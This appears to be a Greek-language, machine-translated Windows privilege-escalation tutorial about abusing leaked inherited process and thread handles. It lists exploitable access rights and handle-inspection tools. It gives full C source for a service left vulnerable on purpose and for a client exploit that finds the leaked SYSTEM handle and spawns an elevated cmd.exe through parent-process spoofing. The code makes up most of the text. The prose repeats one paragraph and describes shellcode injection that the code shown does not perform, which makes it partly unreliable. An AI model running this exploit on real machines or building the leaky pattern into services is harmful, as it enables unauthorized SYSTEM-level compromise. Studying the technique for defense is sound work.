Handles σε μια διαδικασία επιτρέπουν την πρόσβαση σε διάφορους πόρους των Windows:
Έχουν ήδη υπάρξει αρκετές περιπτώσεις κλιμάκωσης προνομίων όπου μια προνομιακή διαδικασία με ανοιχτές και κληρονομούμενες λαβές έχει τρέξει μια μη προνομιακή διαδικασία δίνοντάς της πρόσβαση σε όλες αυτές τις λαβές.
Για παράδειγμα, φανταστείτε ότι μια διαδικασία που εκτελείται ως SYSTEM ανοίγει μια νέα διαδικασία (OpenProcess()) με πλήρη πρόσβαση. Η ίδια διαδικασία δημιουργεί επίσης μια νέα διαδικασία (CreateProcess()) με χαμηλά προνόμια αλλά κληρονομώντας όλες τις ανοιχτές λαβές της κύριας διαδικασίας.
Στη συνέχεια, αν έχετε πλήρη πρόσβαση στη διαδικασία με χαμηλά προνόμια, μπορείτε να αποκτήσετε τη ανοιχτή λαβή της προνομιακής διαδικασίας που δημιουργήθηκε με OpenProcess() και να εισάγετε ένα shellcode.
Interesting Handles
Process
Όπως διαβάσατε στο αρχικό παράδειγμα, αν μια μη προνομιακή διαδικασία κληρονομήσει μια λαβή διαδικασίας από μια προνομιακή διαδικασία με αρκετές άδειες, θα είναι σε θέση να εκτελέσει τυχαίο κώδικα σε αυτήν.
Στο αυτό το εξαιρετικό άρθρο μπορείτε να δείτε πώς να εκμεταλλευτείτε οποιαδήποτε λαβή διαδικασίας που έχει οποιαδήποτε από τις παρακάτω άδειες:
PROCESS_ALL_ACCESS
PROCESS_CREATE_PROCESS
PROCESS_CREATE_THREAD
PROCESS_DUP_HANDLE
PROCESS_VM_WRITE
Thread
Παρόμοια με τις λαβές διαδικασίας, αν μια μη προνομιακή διαδικασία κληρονομήσει μια λαβή νήματος από μια προνομιακή διαδικασία με αρκετές άδειες, θα είναι σε θέση να εκτελέσει τυχαίο κώδικα σε αυτήν.
Στο αυτό το εξαιρετικό άρθρο μπορείτε επίσης να δείτε πώς να εκμεταλλευτείτε οποιαδήποτε λαβή διαδικασίας που έχει οποιαδήποτε από τις παρακάτω άδειες:
THREAD_ALL_ACCESS
THREAD_DIRECT_IMPERSONATION
THREAD_SET_CONTEXT
File, Key & Section Handles
Αν μια μη προνομιακή διαδικασία κληρονομήσει μια λαβή με άδειες ισοδύναμες με γράψιμο σε ένα προνομιακό αρχείο ή μητρώο, θα είναι σε θέση να επικαλύψει το αρχείο/μητρώο (και με πολλή τύχη, να κλιμακώσει προνόμια).
Section Handles είναι παρόμοιες με τις λαβές αρχείων, το κοινό όνομα αυτού του είδους αντικειμένων είναι "File Mapping". Χρησιμοποιούνται για να δουλεύουν με μεγάλα αρχεία χωρίς να κρατούν ολόκληρο το αρχείο στη μνήμη. Αυτό καθιστά την εκμετάλλευση κάπως "παρόμοια" με την εκμετάλλευση μιας Λαβής Αρχείου.
How to see handles of processes
Process Hacker
Process Hacker είναι ένα εργαλείο που μπορείτε να κατεβάσετε δωρεάν. Έχει πολλές εκπληκτικές επιλογές για να επιθεωρήσετε διαδικασίες και μία από αυτές είναι η ικανότητα να βλέπετε τις λαβές κάθε διαδικασίας.
Σημειώστε ότι για να δείτε όλες τις λαβές όλων των διαδικασιών, απαιτείται το SeDebugPrivilege (οπότε πρέπει να εκτελέσετε το Process Hacker ως διαχειριστής).
Για να δείτε τις λαβές μιας διαδικασίας, κάντε δεξί κλικ στη διαδικασία και επιλέξτε Λαβές:
Μπορείτε στη συνέχεια να κάνετε δεξί κλικ στη λαβή και να ελέγξετε τις άδειες:
Sysinternals Handles
Το Handlesδυαδικό από το Sysinternals θα καταγράψει επίσης τις λαβές ανά διαδικασία στην κονσόλα:
LeakedHandlesFinder
Αυτό το εργαλείο σας επιτρέπει να παρακολουθείτε τις διαρροές λαβών και ακόμη και να αυτοεκμεταλλεύεστε αυτές για να κλιμακώσετε προνόμια.
Methodology
Τώρα που ξέρετε πώς να βρείτε τις λαβές διαδικασιών, αυτό που πρέπει να ελέγξετε είναι αν κάποια μη προνομιακή διαδικασία έχει πρόσβαση σε προνομιακές λαβές. Σε αυτή την περίπτωση, ο χρήστης της διαδικασίας θα μπορούσε να είναι σε θέση να αποκτήσει τη λαβή και να την εκμεταλλευτεί για να κλιμακώσει προνόμια.
Είχε αναφερθεί προηγουμένως ότι χρειάζεστε το SeDebugPrivilege για να έχετε πρόσβαση σε όλες τις λαβές. Αλλά ένας χρήστης μπορεί ακόμα να έχει πρόσβαση στις λαβές των διαδικασιών του, οπότε μπορεί να είναι χρήσιμο αν θέλετε να κάνετε privesc μόνο από αυτόν τον χρήστη για να εκτελέσετε τα εργαλεία με τις κανονικές άδειες του χρήστη.
Για παράδειγμα, ο παρακάτω κώδικας ανήκει σε μια υπηρεσία Windows που θα ήταν ευάλωτη. Ο ευάλωτος κώδικας αυτού του δυαδικού αρχείου υπηρεσίας βρίσκεται μέσα στη Συνάρτηση Εκμετάλλευσης. Αυτή η συνάρτηση ξεκινά δημιουργώντας μια νέα διαδικασία χειρισμού με πλήρη πρόσβαση. Στη συνέχεια, δημιουργεί μια διαδικασία χαμηλών δικαιωμάτων (αντιγράφοντας το χαμηλό δικαίωμα του explorer.exe) εκτελώντας C:\users\username\desktop\client.exe. Η ευπάθεια έγκειται στο γεγονός ότι δημιουργεί τη διαδικασία χαμηλών δικαιωμάτων με bInheritHandles ως TRUE.
Επομένως, αυτή η διαδικασία χαμηλών δικαιωμάτων είναι σε θέση να αποκτήσει τον χειρισμό της διαδικασίας υψηλών δικαιωμάτων που δημιουργήθηκε πρώτη και να εισάγει και να εκτελέσει έναν κώδικα shell (βλ. επόμενη ενότητα).
#include<windows.h>#include<tlhelp32.h>#include<tchar.h>#pragmacomment (lib, "advapi32")TCHAR* serviceName =TEXT("HandleLeakSrv");SERVICE_STATUS serviceStatus;SERVICE_STATUS_HANDLE serviceStatusHandle =0;HANDLE stopServiceEvent =0;//Find PID of a proces from its nameintFindTarget(constchar*procname) {HANDLE hProcSnap;PROCESSENTRY32 pe32;int pid =0;hProcSnap =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);if (INVALID_HANDLE_VALUE == hProcSnap) return0;pe32.dwSize =sizeof(PROCESSENTRY32);if (!Process32First(hProcSnap,&pe32)) {CloseHandle(hProcSnap);return0;}while (Process32Next(hProcSnap,&pe32)) {if (lstrcmpiA(procname,pe32.szExeFile)==0) {pid =pe32.th32ProcessID;break;}}CloseHandle(hProcSnap);return pid;}intExploit(void) {STARTUPINFOA si;PROCESS_INFORMATION pi;int pid =0;HANDLE hUserToken;HANDLE hUserProc;HANDLE hProc;// open a handle to itself (privileged process) - this gets leaked!hProc =OpenProcess(PROCESS_ALL_ACCESS,TRUE, GetCurrentProcessId());// get PID of user low privileged processif ( pid =FindTarget("explorer.exe") )hUserProc =OpenProcess(PROCESS_QUERY_INFORMATION,FALSE, pid);elsereturn-1;// extract low privilege token from a user's processif (!OpenProcessToken(hUserProc, TOKEN_ALL_ACCESS,&hUserToken)) {CloseHandle(hUserProc);return-1;}// spawn a child process with low privs and leaked handleZeroMemory(&si,sizeof(si));si.cb =sizeof(si);ZeroMemory(&pi,sizeof(pi));CreateProcessAsUserA(hUserToken,"C:\\users\\username\\Desktop\\client.exe",NULL,NULL,NULL,TRUE,0,NULL,NULL,&si,&pi);CloseHandle(hProc);CloseHandle(hUserProc);return0;}void WINAPI ServiceControlHandler( DWORD controlCode ) {switch ( controlCode ) {case SERVICE_CONTROL_SHUTDOWN:case SERVICE_CONTROL_STOP:serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );SetEvent( stopServiceEvent );return;case SERVICE_CONTROL_PAUSE:break;case SERVICE_CONTROL_CONTINUE:break;case SERVICE_CONTROL_INTERROGATE:break;default:break;}SetServiceStatus( serviceStatusHandle,&serviceStatus );}void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {// initialise service statusserviceStatus.dwServiceType = SERVICE_WIN32;serviceStatus.dwCurrentState = SERVICE_STOPPED;serviceStatus.dwControlsAccepted =0;serviceStatus.dwWin32ExitCode = NO_ERROR;serviceStatus.dwServiceSpecificExitCode = NO_ERROR;serviceStatus.dwCheckPoint =0;serviceStatus.dwWaitHint =0;serviceStatusHandle =RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );if ( serviceStatusHandle ) {// service is startingserviceStatus.dwCurrentState = SERVICE_START_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );// do initialisation herestopServiceEvent =CreateEvent( 0,FALSE,FALSE,0 );// runningserviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);serviceStatus.dwCurrentState = SERVICE_RUNNING;SetServiceStatus( serviceStatusHandle,&serviceStatus );Exploit();WaitForSingleObject( stopServiceEvent,-1 );// service was stoppedserviceStatus.dwCurrentState = SERVICE_STOP_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );// do cleanup hereCloseHandle( stopServiceEvent );stopServiceEvent =0;// service is now stoppedserviceStatus.dwControlsAccepted &=~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);serviceStatus.dwCurrentState = SERVICE_STOPPED;SetServiceStatus( serviceStatusHandle,&serviceStatus );}}voidInstallService() {SC_HANDLE serviceControlManager =OpenSCManager( 0,0, SC_MANAGER_CREATE_SERVICE );if ( serviceControlManager ) {TCHAR path[ _MAX_PATH +1 ];if ( GetModuleFileName( 0, path,sizeof(path)/sizeof(path[0]) )>0 ) {SC_HANDLE service =CreateService( serviceControlManager,serviceName, serviceName,SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,0,0,0,0,0 );if ( service )CloseServiceHandle( service );}CloseServiceHandle( serviceControlManager );}}voidUninstallService() {SC_HANDLE serviceControlManager =OpenSCManager( 0,0, SC_MANAGER_CONNECT );if ( serviceControlManager ) {SC_HANDLE service =OpenService( serviceControlManager,serviceName, SERVICE_QUERY_STATUS | DELETE );if ( service ) {SERVICE_STATUS serviceStatus;if ( QueryServiceStatus( service,&serviceStatus ) ) {if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )DeleteService( service );}CloseServiceHandle( service );}CloseServiceHandle( serviceControlManager );}}int_tmain( int argc, TCHAR* argv[] ){if ( argc >1&&lstrcmpi( argv[1], TEXT("install") )==0 ) {InstallService();}elseif ( argc >1&&lstrcmpi( argv[1], TEXT("uninstall") )==0 ) {UninstallService();}else {SERVICE_TABLE_ENTRY serviceTable[]= {{ serviceName, ServiceMain },{ 0,0 }};StartServiceCtrlDispatcher( serviceTable );}return0;}
Exploit Example 1
Σε ένα πραγματικό σενάριο πιθανότατα δεν θα μπορείτε να ελέγξετε το δυαδικό αρχείο που πρόκειται να εκτελεστεί από τον ευάλωτο κώδικα (C:\users\username\desktop\client.exe σε αυτή την περίπτωση). Πιθανότατα θα συμβιβάσετε μια διαδικασία και θα χρειαστεί να δείτε αν μπορείτε να έχετε πρόσβαση σε οποιοδήποτε ευάλωτο handle οποιασδήποτε προνομιακής διαδικασίας.
Σε αυτό το παράδειγμα μπορείτε να βρείτε τον κώδικα ενός πιθανότατα exploit για C:\users\username\desktop\client.exe.
Το πιο ενδιαφέρον μέρος αυτού του κώδικα βρίσκεται στη GetVulnProcHandle. Αυτή η συνάρτηση θα ξεκινήσει να ανακτά όλα τα handles, στη συνέχεια θα ελέγξει αν κάποιο από αυτά ανήκει στην ίδια PID και αν το handle ανήκει σε μια διαδικασία. Εάν πληρούνται όλες αυτές οι απαιτήσεις (βρεθεί ένα προσβάσιμο ανοιχτό handle διαδικασίας), προσπαθεί να εισάγει και να εκτελέσει ένα shellcode εκμεταλλευόμενο το handle της διαδικασίας.
Η εισαγωγή του shellcode γίνεται μέσα στη Inject συνάρτηση και θα γράψει απλώς το shellcode μέσα στην προνομιακή διαδικασία και θα δημιουργήσει ένα νήμα μέσα στην ίδια διαδικασία για να εκτελέσει το shellcode).
Σε ένα πραγματικό σενάριο πιθανότατα δεν θα μπορείτε να ελέγξετε το δυαδικό αρχείο που πρόκειται να εκτελεστεί από τον ευάλωτο κώδικα (C:\users\username\desktop\client.exe σε αυτή την περίπτωση). Πιθανότατα θα συμβιβάσετε μια διαδικασία και θα χρειαστεί να δείτε αν μπορείτε να αποκτήσετε πρόσβαση σε οποιοδήποτε ευάλωτο handle οποιασδήποτε προνομιούχου διαδικασίας.
Σε αυτό το παράδειγμα, αντί να εκμεταλλευτείτε το ανοιχτό handle για να εισάγετε και να εκτελέσετε ένα shellcode, θα χρησιμοποιηθεί το token της προνομιούχου διαδικασίας με το ανοιχτό handle για να δημιουργηθεί ένα νέο. Αυτό γίνεται στις γραμμές από 138 έως 148.
Σημειώστε πώς η λειτουργία UpdateProcThreadAttribute χρησιμοποιείται με το χαρακτηριστικό PROC_THREAD_ATTRIBUTE_PARENT_PROCESS και το handle της ανοιχτής προνομιούχου διαδικασίας. Αυτό σημαίνει ότι το δημιουργημένο νήμα διαδικασίας που εκτελεί _cmd.exe_** θα έχει το ίδιο προνόμιο token με την ανοιχτή διαδικασία handle**.
#include<windows.h>#include<stdio.h>#include<stdlib.h>#include<string.h>#include<time.h>#include<wincrypt.h>#include<psapi.h>#include<tchar.h>#include<tlhelp32.h>#include"client.h"#pragmacomment (lib, "crypt32.lib")#pragmacomment (lib, "advapi32")#pragmacomment (lib, "kernel32")HANDLE GetVulnProcHandle(void) {ULONG handleInfoSize =0x10000;NTSTATUS status;PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);HANDLE hProc =NULL;POBJECT_TYPE_INFORMATION objectTypeInfo;PVOID objectNameInfo;UNICODE_STRING objectName;ULONG returnLength;HMODULE hNtdll =GetModuleHandleA("ntdll.dll");DWORD dwOwnPID =GetCurrentProcessId();pNtQuerySystemInformation =GetProcAddress(hNtdll,"NtQuerySystemInformation");pNtDuplicateObject =GetProcAddress(hNtdll,"NtDuplicateObject");pNtQueryObject =GetProcAddress(hNtdll,"NtQueryObject");pRtlEqualUnicodeString =GetProcAddress(hNtdll,"RtlEqualUnicodeString");pRtlInitUnicodeString =GetProcAddress(hNtdll,"RtlInitUnicodeString");printf("[+] Grabbing handles...");while ((status =pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,NULL )) == STATUS_INFO_LENGTH_MISMATCH)phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *=2);if (status != STATUS_SUCCESS){printf("[!] NtQuerySystemInformation failed!\n");return0;}printf("done.\n[+] Fetched %d handles.\n",phHandleInfo->NumberOfHandles);// iterate handles until we find the privileged process handlefor (int i =0; i <phHandleInfo->NumberOfHandles; ++i){SYSTEM_HANDLE_TABLE_ENTRY_INFO handle =phHandleInfo->Handles[i];// Check if this handle belongs to our own processif (handle.UniqueProcessId != dwOwnPID)continue;objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);if (pNtQueryObject( (HANDLE) handle.HandleValue,ObjectTypeInformation,objectTypeInfo,0x1000,NULL )!= STATUS_SUCCESS)continue;// skip some objects to avoid getting stuck// see: https://github.com/adamdriscoll/PoshInternals/issues/7if (handle.GrantedAccess ==0x0012019f&&handle.GrantedAccess !=0x00120189&&handle.GrantedAccess !=0x120089&&handle.GrantedAccess !=0x1A019F ) {free(objectTypeInfo);continue;}// get object name informationobjectNameInfo =malloc(0x1000);if (pNtQueryObject( (HANDLE) handle.HandleValue,ObjectNameInformation,objectNameInfo,0x1000,&returnLength )!= STATUS_SUCCESS) {// adjust the size of a returned object and query againobjectNameInfo =realloc(objectNameInfo, returnLength);if (pNtQueryObject( (HANDLE) handle.HandleValue,ObjectNameInformation,objectNameInfo,returnLength,NULL )!= STATUS_SUCCESS) {free(objectTypeInfo);free(objectNameInfo);continue;}}// check if we've got a process objectobjectName =*(PUNICODE_STRING) objectNameInfo;UNICODE_STRING pProcess;pRtlInitUnicodeString(&pProcess, L"Process");if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName,&pProcess,TRUE)) {printf("[+] Found process handle (%x)\n",handle.HandleValue);hProc = (HANDLE) handle.HandleValue;free(objectTypeInfo);free(objectNameInfo);break;}elsecontinue;free(objectTypeInfo);free(objectNameInfo);}return hProc;}intmain(int argc,char**argv) {HANDLE hProc =NULL;STARTUPINFOEXA si;PROCESS_INFORMATION pi;int pid =0;SIZE_T size;BOOL ret;Sleep(20000);// find leaked process handlehProc =GetVulnProcHandle();if ( hProc !=NULL) {// Adjust proess attributes with PROC_THREAD_ATTRIBUTE_PARENT_PROCESSZeroMemory(&si,sizeof(STARTUPINFOEXA));InitializeProcThreadAttributeList(NULL,1,0,&size);si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST) HeapAlloc( GetProcessHeap(),0, size );InitializeProcThreadAttributeList(si.lpAttributeList,1,0,&size);UpdateProcThreadAttribute(si.lpAttributeList,0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,&hProc,sizeof(HANDLE),NULL,NULL);si.StartupInfo.cb =sizeof(STARTUPINFOEXA);// Spawn elevated cmd processret =CreateProcessA( "C:\\Windows\\system32\\cmd.exe",NULL,NULL,NULL,TRUE,EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE,NULL,NULL, (LPSTARTUPINFOA)(&si),&pi );if (ret ==FALSE) {printf("[!] Error spawning new process: [%d]\n", GetLastError());return-1;}}Sleep(20000);return0;}
Αυτό το εργαλείο σας επιτρέπει να παρακολουθείτε τα leaked handles για να βρείτε ευάλωτα και ακόμη και να τα εκμεταλλευτείτε αυτόματα. Έχει επίσης ένα εργαλείο για να διαρρεύσει ένα.